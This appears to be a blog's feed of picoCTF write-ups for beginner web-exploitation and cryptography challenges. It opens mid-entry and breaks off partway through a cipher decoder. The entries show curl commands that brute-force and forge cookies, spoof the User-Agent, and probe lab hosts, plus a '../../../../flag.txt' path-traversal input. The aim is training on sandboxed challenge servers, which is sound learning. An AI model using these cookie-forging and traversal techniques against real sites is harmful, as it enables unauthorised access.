&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">checkpass&lt;/span> &lt;span style="color:#f92672">=&lt;/span> document[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x0&amp;#39;&lt;/span>)](&lt;span style="color:#e6db74">&amp;#39;pass&amp;#39;&lt;/span>)[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x1&amp;#39;&lt;/span>)];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">split&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x4&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">checkpass&lt;/span>[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x2&amp;#39;&lt;/span>)](&lt;span style="color:#ae81ff">0x0&lt;/span>, &lt;span style="color:#a6e22e">split&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x3&amp;#39;&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">checkpass&lt;/span>[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x2&amp;#39;&lt;/span>)](&lt;span style="color:#ae81ff">0x7&lt;/span>, &lt;span style="color:#ae81ff">0x9&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;{n&amp;#39;&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">checkpass&lt;/span>[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x2&amp;#39;&lt;/span>)](&lt;span style="color:#a6e22e">split&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>, &lt;span style="color:#a6e22e">split&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x4&amp;#39;&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">checkpass&lt;/span>[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x2&amp;#39;&lt;/span>)](&lt;span style="color:#ae81ff">0x3&lt;/span>, &lt;span style="color:#ae81ff">0x6&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;oCT&amp;#39;&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">checkpass&lt;/span>[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x2&amp;#39;&lt;/span>)](&lt;span style="color:#a6e22e">split&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x3&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>, &lt;span style="color:#a6e22e">split&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x4&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x5&amp;#39;&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">checkpass&lt;/span>[&lt;span style="color:#e6db74">&amp;#39;substring&amp;#39;&lt;/span>](&lt;span style="color:#ae81ff">0x6&lt;/span>, &lt;span style="color:#ae81ff">0xb&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;F{not&amp;#39;&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">checkpass&lt;/span>[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x2&amp;#39;&lt;/span>)](&lt;span style="color:#a6e22e">split&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>, &lt;span style="color:#a6e22e">split&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x3&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x6&amp;#39;&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">checkpass&lt;/span>[&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x2&amp;#39;&lt;/span>)](&lt;span style="color:#ae81ff">0xc&lt;/span>, &lt;span style="color:#ae81ff">0x10&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x7&amp;#39;&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">alert&lt;/span>(&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x8&amp;#39;&lt;/span>));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">alert&lt;/span>(&lt;span style="color:#a6e22e">_0x4b5b&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;0x9&amp;#39;&lt;/span>));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This looks intimidating but it&amp;rsquo;s just simple mapping and obfustication, and can be easily traced. Preferably if I absolutely had to choose client side verification, I would hashed the correct credentials instead (though it can be traced back albeit not as easily)&lt;/p></description></item><item><title>dont-use-client-side</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/dont-use-client-side/</link><pubDate>Tue, 02 Jun 2026 10:23:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/dont-use-client-side/</guid><description>&lt;p>Pretty self-explanatory, upon opening the JS script you will be greeted with this:
&lt;img src="https://panman4040.github.io/images/dont-use-client-side.png" alt="alt text">
You can literally rebuild the flag from here, in plaintext. This goes to show how client-side validations can be easily broken and you should never rely on them.&lt;/p></description></item><item><title>Cookies</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/cookies/</link><pubDate>Thu, 28 May 2026 17:06:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/cookies/</guid><description>&lt;p>Very interesting problem. The cookie is &lt;code>name = &amp;lt;some-integer&amp;gt;&lt;/code> and we are tasked to find out which. On the one hand we can manually type each number in. But on the other hand, we can simply apply a for loop directly in the terminal as follow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> i in &lt;span style="color:#f92672">{&lt;/span>1..50&lt;span style="color:#f92672">}&lt;/span>; &lt;span style="color:#66d9ef">do&lt;/span> curl -s http://wily-courier.picoctf.net:64059/check -b &lt;span style="color:#e6db74">&amp;#34;name=&lt;/span>$i&lt;span style="color:#e6db74">&amp;#34;&lt;/span> | grep picoCTF; &lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Notice that we use double quotes here instead of single quotes. In Bash, single quotes are &amp;ldquo;strong quotes&amp;rdquo; which is taken as literal, that means the cookies sent if we use those will be literally &lt;code>name=$i&lt;/code> which is not what we want.&lt;/p></description></item><item><title>logon</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/logon/</link><pubDate>Thu, 28 May 2026 16:35:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/logon/</guid><description>&lt;p>If you view the site&amp;rsquo;s Cookies in the developer tool after you&amp;rsquo;ve logged in as anything other than Joe, you&amp;rsquo;ll notice there is a peculiar &amp;lsquo;admin&amp;rsquo; cookie set to False, simply send a request with &amp;lsquo;admin=True&amp;rsquo; then voila we will get the flag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl -b &lt;span style="color:#e6db74">&amp;#39;admin=True&amp;#39;&lt;/span> http://fickle-tempest.picoctf.net:50274/flag
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>picobrowser</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/picobrowser/</link><pubDate>Thu, 28 May 2026 16:24:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/picobrowser/</guid><description>&lt;p>We are immediately slapped in the face with the picobrowser schtick, so the most logical thing to do is to send an HTTP request with the User-Agent as picobrowser. There we will get our flag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl -H &lt;span style="color:#e6db74">&amp;#34;User-Agent:picobrowser&amp;#34;&lt;/span> http://fickle-tempest.picoctf.net:51879/flag
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Note that the &lt;code>-H&lt;/code> flag is for general headers.&lt;/p></description></item><item><title>Scavenger Hunt</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/scavenger-hunt/</link><pubDate>Thu, 28 May 2026 16:00:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/scavenger-hunt/</guid><description>&lt;p>First two parts of the flag can be found on the HTML and CSS source file. The third part can be found on &lt;code>robots.txt&lt;/code>. No problems with this.&lt;/p>
&lt;p>In &lt;code>robots.txt&lt;/code> it mentions that the server the web is running on is Apache, which can be verified by sending a simple HTTP request. This &lt;em>strongly&lt;/em> hints at accessing &lt;code>.htaccess&lt;/code> file, which is the common Apache config file. It reveals how the backend of a website is structured, internal IP addresses, and convieniently our fourth part of the flag.&lt;/p></description></item><item><title>Secrets</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/secrets/</link><pubDate>Tue, 19 May 2026 16:01:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/secrets/</guid><description>&lt;p>When first viewed page source, notice that the header references a hidden &lt;code>/secret/assets&lt;/code> folder where &lt;code>index.css&lt;/code> resides. But going to &lt;code>/secret/assets&lt;/code> will greet us with a 301. So the next logical thing to do is to access &lt;code>/secret&lt;/code>, which we can. The following code snippet will apply for all subsequent folder hops, with simple appending.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl &lt;span style="color:#e6db74">&amp;#39;http://saturn.picoctf.net:63724/secret/.&amp;#39;&lt;/span> -v
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Upon viewing the page source, we are once again hinted at the existence of a hidden &lt;code>/hidden&lt;/code> subfolder.&lt;/p></description></item><item><title>GET aHEAD</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/get-ahead/</link><pubDate>Tue, 19 May 2026 15:18:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/get-ahead/</guid><description>&lt;p>This challenge is practically begging you to send a &lt;code>HEAD&lt;/code> request to the server. &lt;code>HEAD&lt;/code> is essentially the same as &lt;code>GET&lt;/code> but the server only sends back the HTTP Headers and drops the body (the HTML, image, video, etc).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl -I &lt;span style="color:#e6db74">&amp;#39;http://wily-courier.picoctf.net:56339/index.php&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Our flag will appear in the HTTP header.&lt;/p></description></item><item><title>Forbidden Paths</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/forbidden-paths/</link><pubDate>Tue, 19 May 2026 15:02:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/forbidden-paths/</guid><description>&lt;p>I struggled quite a bit at first, but notice that they forbid &lt;strong>absolute&lt;/strong> file path. Meaning we can just use the relative file path to travel up the directories and get our flag.&lt;/p>
&lt;p>Simply input &lt;code>../../../../flag.txt&lt;/code> into the form box to get the flag. Quite nice.&lt;/p></description></item><item><title>Roboto Sans</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/roboto-sans/</link><pubDate>Tue, 19 May 2026 14:22:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/roboto-sans/</guid><description>&lt;p>Upon opening up &lt;code>robots.txt&lt;/code>, we are greeted with this:&lt;/p>
&lt;pre tabindex="0">&lt;code>User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/
&lt;/code>&lt;/pre>&lt;p>Access either &lt;code>/cgi-bin&lt;/code> or &lt;code>/wp-admin&lt;/code> will result in 404, so clearly it isn&amp;rsquo;t the way.&lt;/p>
&lt;p>Instead, the 6th line &lt;code>anMvbXlmaWxlLnR4dA==&lt;/code> has two trailing equal signs, hinting at base64 encoding.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;SGVsbG8gV29ybGQ=&amp;#34;&lt;/span> | base64 -d
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Upon decoding that line, we will get &lt;code>js/myfile.txt&lt;/code> which is where our flag is. Quite fun problem.&lt;/p></description></item><item><title>where are the robots</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/where-are-the-robots/</link><pubDate>Tue, 19 May 2026 14:15:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/where-are-the-robots/</guid><description>&lt;p>At first I kept focusing on the main site without noticing that the name of the problem hints at the &lt;code>robots.txt&lt;/code> file itself.&lt;/p>
&lt;p>Simply access &lt;code>robots.txt&lt;/code> and it will show you this:&lt;/p>
&lt;pre tabindex="0">&lt;code>User-agent: *
Disallow: /cc6b1.html
&lt;/code>&lt;/pre>&lt;p>Go to the disallowed path and you&amp;rsquo;ll get the flag&lt;/p></description></item><item><title>rotation</title><link>https://panman4040.github.io/training/picoctf/cryptography/rotation/</link><pubDate>Mon, 04 May 2026 21:50:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/cryptography/rotation/</guid><description>&lt;p>First, calculate the shift amount. Then for each alphabetical character in the ciphertext, subtract that shift amount with the current character, rotate back to z/Z if went overboard&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>cipher &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;xqkwKBN&lt;/span>&lt;span style="color:#e6db74">{z0bib1wv_l3kzgxb3l_555957n3}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>diff &lt;span style="color:#f92672">=&lt;/span> ord(cipher[&lt;span style="color:#ae81ff">0&lt;/span>]) &lt;span style="color:#f92672">-&lt;/span> ord(&lt;span style="color:#e6db74">&amp;#39;p&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>plain &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> c &lt;span style="color:#f92672">in&lt;/span> cipher:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ch &lt;span style="color:#f92672">=&lt;/span> ord(c) &lt;span style="color:#f92672">-&lt;/span> diff
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> c&lt;span style="color:#f92672">.&lt;/span>islower():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> chr(ch)&lt;span style="color:#f92672">.&lt;/span>islower():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> chr(ch)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> chr(ch &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">26&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">elif&lt;/span> c&lt;span style="color:#f92672">.&lt;/span>isupper():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> chr(ch)&lt;span style="color:#f92672">.&lt;/span>isupper():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> chr(ch)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> chr(ch &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">26&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print(plain) 
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Note that this Python implemention is not exactly the prettiest in the world. And I struggled quite a bit because I thought digits are also rotated (its not lol)&lt;/p></description></item><item><title>basic-mod2</title><link>https://panman4040.github.io/training/picoctf/cryptography/basic-mod2/</link><pubDate>Mon, 04 May 2026 21:36:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/cryptography/basic-mod2/</guid><description>&lt;p>Take each number mod 41 and find its modular inverse using Fermat&amp;rsquo;s little theorem, then map it to the following character set: 1-26 is the alphabet (uppercase), 27-36 are the decimal digits, else an underscore.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>cipher &lt;span style="color:#f92672">=&lt;/span> [&lt;span style="color:#ae81ff">432&lt;/span>, &lt;span style="color:#ae81ff">331&lt;/span>, &lt;span style="color:#ae81ff">192&lt;/span>, &lt;span style="color:#ae81ff">108&lt;/span>, &lt;span style="color:#ae81ff">180&lt;/span>, &lt;span style="color:#ae81ff">50&lt;/span>, &lt;span style="color:#ae81ff">231&lt;/span>, &lt;span style="color:#ae81ff">188&lt;/span>, &lt;span style="color:#ae81ff">105&lt;/span>, &lt;span style="color:#ae81ff">51&lt;/span>, &lt;span style="color:#ae81ff">364&lt;/span>, &lt;span style="color:#ae81ff">168&lt;/span>, &lt;span style="color:#ae81ff">344&lt;/span>, &lt;span style="color:#ae81ff">195&lt;/span>, &lt;span style="color:#ae81ff">297&lt;/span>, &lt;span style="color:#ae81ff">342&lt;/span>, &lt;span style="color:#ae81ff">292&lt;/span>, &lt;span style="color:#ae81ff">198&lt;/span>, &lt;span style="color:#ae81ff">448&lt;/span>, &lt;span style="color:#ae81ff">62&lt;/span>, &lt;span style="color:#ae81ff">236&lt;/span>, &lt;span style="color:#ae81ff">342&lt;/span>, &lt;span style="color:#ae81ff">63&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>plain &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> n &lt;span style="color:#f92672">in&lt;/span> cipher:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> n &lt;span style="color:#f92672">=&lt;/span> n &lt;span style="color:#f92672">%&lt;/span> &lt;span style="color:#ae81ff">41&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> n &lt;span style="color:#f92672">=&lt;/span> pow(n, &lt;span style="color:#ae81ff">41&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>, &lt;span style="color:#ae81ff">41&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> n &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">26&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> chr(n &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">65&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">elif&lt;/span> &lt;span style="color:#ae81ff">27&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> n &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">36&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> chr(n &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">27&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">48&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;_&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print(plain)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>basic-mod1</title><link>https://panman4040.github.io/training/picoctf/cryptography/basic-mod1/</link><pubDate>Mon, 04 May 2026 21:25:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/cryptography/basic-mod1/</guid><description>&lt;p>Take each number mod 37 and map it to the following character set: 0-25 is the alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>encoded &lt;span style="color:#f92672">=&lt;/span> [&lt;span style="color:#ae81ff">350&lt;/span>, &lt;span style="color:#ae81ff">63&lt;/span>, &lt;span style="color:#ae81ff">353&lt;/span>, &lt;span style="color:#ae81ff">198&lt;/span>, &lt;span style="color:#ae81ff">114&lt;/span>, &lt;span style="color:#ae81ff">369&lt;/span>, &lt;span style="color:#ae81ff">346&lt;/span>, &lt;span style="color:#ae81ff">184&lt;/span>, &lt;span style="color:#ae81ff">202&lt;/span>, &lt;span style="color:#ae81ff">322&lt;/span>, &lt;span style="color:#ae81ff">94&lt;/span>, &lt;span style="color:#ae81ff">235&lt;/span>, &lt;span style="color:#ae81ff">114&lt;/span>, &lt;span style="color:#ae81ff">110&lt;/span>, &lt;span style="color:#ae81ff">185&lt;/span>, &lt;span style="color:#ae81ff">188&lt;/span>, &lt;span style="color:#ae81ff">225&lt;/span>, &lt;span style="color:#ae81ff">212&lt;/span>, &lt;span style="color:#ae81ff">366&lt;/span>, &lt;span style="color:#ae81ff">374&lt;/span>, &lt;span style="color:#ae81ff">261&lt;/span>, &lt;span style="color:#ae81ff">213&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>plain &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> n &lt;span style="color:#f92672">in&lt;/span> encoded:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> n &lt;span style="color:#f92672">=&lt;/span> n &lt;span style="color:#f92672">%&lt;/span> &lt;span style="color:#ae81ff">37&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> n &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">25&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> chr(n &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">65&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">elif&lt;/span> &lt;span style="color:#ae81ff">26&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> n &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">35&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> chr(n &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">26&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">48&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
